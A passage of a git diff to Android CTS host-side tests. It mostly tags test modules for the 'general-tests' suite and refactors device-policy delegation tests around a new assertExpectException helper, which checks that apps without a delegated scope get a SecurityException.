 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index 737f83f..5aa4709 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -64,6 +64,7 @@
     private static final long SYNC_TIMEOUT_MILLIS = 20000; // 20 sec
     private static final long UI_TIMEOUT_MILLIS = 5000; // 5 sec
 
+    private static final String PERMISSION_REQUESTED = "Permission Requested";
     public static final String TOKEN_TYPE_REMOVE_ACCOUNTS = "TOKEN_TYPE_REMOVE_ACCOUNTS";
 
     @Rule
@@ -126,10 +127,10 @@
                 notification.click();
             } else {
                 uiDevice.openNotification();
-                uiDevice.wait(Until.hasObject(By.text("Permission requested")),
+                uiDevice.wait(Until.hasObject(By.text(PERMISSION_REQUESTED)),
                         UI_TIMEOUT_MILLIS);
 
-                uiDevice.findObject(By.text("Permission requested")).click();
+                uiDevice.findObject(By.text(PERMISSION_REQUESTED)).click();
             }
 
             uiDevice.wait(Until.hasObject(By.text("ALLOW")),
@@ -151,16 +152,16 @@
     private UiObject2 findPermissionNotificationInStream(UiDevice uiDevice) {
         uiDevice.pressHome();
         swipeUp(uiDevice);
-        if (uiDevice.hasObject(By.text("Permission requested"))) {
-          return uiDevice.findObject(By.text("Permission requested"));
+        if (uiDevice.hasObject(By.text(PERMISSION_REQUESTED))) {
+          return uiDevice.findObject(By.text(PERMISSION_REQUESTED));
         }
         for (int i = 0; i < 100; i++) {
           if (!swipeUp(uiDevice)) {
             // We have reached the end of the stream and not found the target.
             break;
           }
-          if (uiDevice.hasObject(By.text("Permission requested"))) {
-            return uiDevice.findObject(By.text("Permission requested"));
+          if (uiDevice.hasObject(By.text(PERMISSION_REQUESTED))) {
+            return uiDevice.findObject(By.text(PERMISSION_REQUESTED));
           }
         }
         return null;
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
index c3c7058..7291fcd 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
@@ -30,7 +30,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSyncAccountAccessSameCertTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
index 4c817d9..fc7cd4d 100644
--- a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSyncAccountAccessStubs
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PROGUARD_ENABLED := disabled
 
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 67acb25..97329cc 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/cpptools/app/Android.mk b/hostsidetests/cpptools/app/Android.mk
index 4e4e51f..347412a 100644
--- a/hostsidetests/cpptools/app/Android.mk
+++ b/hostsidetests/cpptools/app/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsCppToolsApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 1828e2c..1de6b93 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.adminhostside
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 6454e46..87700c5 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckAuthApp
 
@@ -27,7 +27,13 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4  \
+    ctstestrunner  \
+    ub-uiautomator  \
+    android-support-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
index 26e6dca..7423d13 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckNonTestOnlyOwnerApp
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
index eeba939..7a8c0b7 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerApp
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
index a86a98b..57f011e 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerUpdateApp
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index 8036348..752ae96 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountCheckAuthAppTester
 
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 6e70b01..cd3aa98 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccountManagementDevicePolicyApp
 
@@ -27,7 +27,12 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-v4 \
+    ctstestrunner \
+    ub-uiautomator \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
index f91366a..265555c 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
@@ -18,7 +18,6 @@
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
-import android.accounts.AccountManagerFuture;
 import android.accounts.AuthenticatorException;
 import android.accounts.OperationCanceledException;
 import android.content.Context;
@@ -80,8 +79,14 @@
         // Normally the expected result of addAccount() is AccountManager returning
         // an intent to start the authenticator activity for adding new accounts.
         // But MockAccountAuthenticator returns a new account straightway.
-        assertEquals(MockAccountAuthenticator.ACCOUNT_TYPE,
-                result.getString(AccountManager.KEY_ACCOUNT_TYPE));
+        String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
+        String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
+        assertEquals(MockAccountAuthenticator.ACCOUNT_TYPE, accountType);
+
+        // Further verify that getAuthToken is working.
+        Account account = new Account(accountName, accountType);
+        String authToken = mAccountManager.blockingGetAuthToken(account, "authTokenType", false);
+        assertEquals(MockAccountAuthenticator.AUTH_TOKEN, authToken);
     }
 
     public void testRemoveAccount_blocked() throws AuthenticatorException,
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
index 0ef310b..35246b6 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
@@ -30,7 +30,7 @@
             = "com.android.cts.devicepolicy.accountmanagement.account.name";
     static final String ACCOUNT_TYPE
             = "com.android.cts.devicepolicy.accountmanagement.account.type";
-    private static final String AUTH_TOKEN = "mockAuthToken";
+    static final String AUTH_TOKEN = "mockAuthToken";
     private static final String AUTH_TOKEN_LABEL = "mockAuthTokenLabel";
 
     private MockAccountAuthenticator(Context context) {
@@ -42,7 +42,6 @@
         result.putString(AccountManager.KEY_ACCOUNT_NAME, ACCOUNT_NAME);
         result.putString(AccountManager.KEY_ACCOUNT_TYPE, ACCOUNT_TYPE);
         result.putString(AccountManager.KEY_AUTHTOKEN, AUTH_TOKEN);
-
         return result;
     }
 
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
index 9d785c5..946a763 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
@@ -27,6 +27,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
index aa9cfa1..940c4a8 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDevicePolicyAutofillApp
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
index 90c1657..fa84415 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
index ef72d61..06c1f87 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsContactDirectoryProvider
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index c24858d..05db43a 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -64,7 +64,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.comp2 \
                     --rename-instrumentation-target-package com.android.cts.comp2
 
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index e33baab..cb54cd7 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -16,7 +16,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsCustomizationApp
 
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index 1ff51b9..fc316e6 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -26,11 +26,15 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
 
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+    android-support-v4 \
+    ctstestrunner \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
index ab37090..55fc792 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.delegate;
 
 import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
@@ -86,22 +87,16 @@
     public void testCannotAccessApis() {
         assertFalse("DelegateApp should not be an app restrictions delegate",
                 amIAppRestrictionsDelegate());
-        try {
-            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
-                    expected.getMessage());
-        }
-        try {
-            mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
-                    expected.getMessage());
-        }
+
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
+                });
+
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
+                });
     }
 
     public void testCanAccessApis() throws InterruptedException {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
index 65ebd64..f706b85 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.delegate;
 
 import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
@@ -45,14 +46,11 @@
     public void testCannotAccessApis() {
         assertFalse("DelegateApp should not be a block uninstall delegate",
             amIBlockUninstallDelegate());
-        try {
-            mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-block-uninstall.",
-                    expected.getMessage());
-        }
+
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
+                });
     }
 
     public void testCanAccessApis() {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
index d8d0ab3..933e257 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.delegate;
 
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
@@ -121,23 +122,16 @@
 
     public void testCannotAccessApis() {
         assertFalse(amICertInstallDelegate());
-        try {
-            mDpm.installCaCert(null, null);
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Neither user \\d+ nor current process has "
-                    + "android.permission.MANAGE_CA_CERTIFICATES",
-                    expected.getMessage());
-        }
-        try {
-            mDpm.removeKeyPair(null, "alias");
-            fail("Expected SecurityException not thrown");
-        } catch (SecurityException expected) {
-            MoreAsserts.assertContainsRegex(
-                    "Caller with uid \\d+ is not a delegate of scope delegation-cert-install.",
-                    expected.getMessage());
-        }
+
+        assertExpectException(SecurityException.class,
+                "Neither user \\d+ nor current process has", () -> {
+                    mDpm.installCaCert(null, null);
+                });
+
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.removeKeyPair(null, "alias");
+                });
     }
 
     public void testCanAccessApis() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
new file mode 100644
index 0000000..b162f86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import android.test.MoreAsserts;
+import junit.framework.Assert;
+
+/**
+ * Utils class for delegation tests.
+ */
+public class DelegateTestUtils {
+
+    @FunctionalInterface
+    public interface ExceptionRunnable {
+        void run() throws Exception;
+    }
+
+    public static void assertExpectException(Class<? extends Throwable> expectedExceptionType,
+            String expectedExceptionMessageRegex, ExceptionRunnable r) {
+        try {
+            r.run();
+        } catch (Throwable e) {
+            Assert.assertTrue("Expected " + expectedExceptionType.getName() + " but caught " + e,
+                expectedExceptionType.isAssignableFrom(e.getClass()));
+            if (expectedExceptionMessageRegex != null) {
+                MoreAsserts.assertContainsRegex(expectedExceptionMessageRegex, e.getMessage());
+            }
+            return; // Pass
+        }
+        Assert.fail("Expected " + expectedExceptionType.getName() + " was not thrown");
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
new file mode 100644
index 0000000..246f936
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Intent;
+import android.test.InstrumentationTestCase;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PERMISSION_GRANT} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can grant permissions and check permission grant
+ * state.
+ */
+public class EnableSystemAppDelegateTest extends InstrumentationTestCase {
+
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+    private DevicePolicyManager mDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mDpm = getInstrumentation().getContext().getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testCannotAccessApis() {
+        assertFalse("DelegateApp should not be an enable system app delegate",
+            amIEnableSystemAppDelegate());
+
+        // Exercise enableSystemApp(String).
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.enableSystemApp(null, TEST_APP_PKG);
+                });
+
+        // Exercise enableSystemApp(Intent).
+        assertExpectException(SecurityException.class,
+                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                    mDpm.enableSystemApp(null, new Intent().setPackage(TEST_APP_PKG));
+                });
+    }
+
+    public void testCanAccessApis() {
+        assertTrue("DelegateApp is not an enable system app delegate",
+            amIEnableSystemAppDelegate());
+
+        // Exercise enableSystemApp(String).
+        assertExpectException(IllegalArgumentException.class,
+                "Only system apps can be enabled this way", () -> {
+                    mDpm.enableSystemApp(null, TEST_APP_PKG);
+                });
+
+        // Exercise enableSystemApp(Intent).
+        mDpm.enableSystemApp(null, new Intent());
+    }
+
+    private boolean amIEnableSystemAppDelegate() {
+        final String packageName = getInstrumentation().getContext().getPackageName();
+        final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+        return scopes.contains(DELEGATION_ENABLE_SYSTEM_APP);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
index 24bee4f..c403ffb 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -18,6 +18,8 @@
 import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
 import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
 import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
 
 import android.app.admin.DevicePolicyManager;
@@ -47,7 +49,10 @@
     private static final String EXPECTED_DELEGATION_SCOPES[] = {
         DELEGATION_APP_RESTRICTIONS,
         DELEGATION_BLOCK_UNINSTALL,
-        DELEGATION_CERT_INSTALL
+        DELEGATION_CERT_INSTALL,
+        DELEGATION_PERMISSION_GRANT,
+        DELEGATION_PACKAGE_ACCESS,
+        DELEGATION_ENABLE_SYSTEM_APP
     };
 
     @Override
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
new file mode 100644
index 0000000..86f2639
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
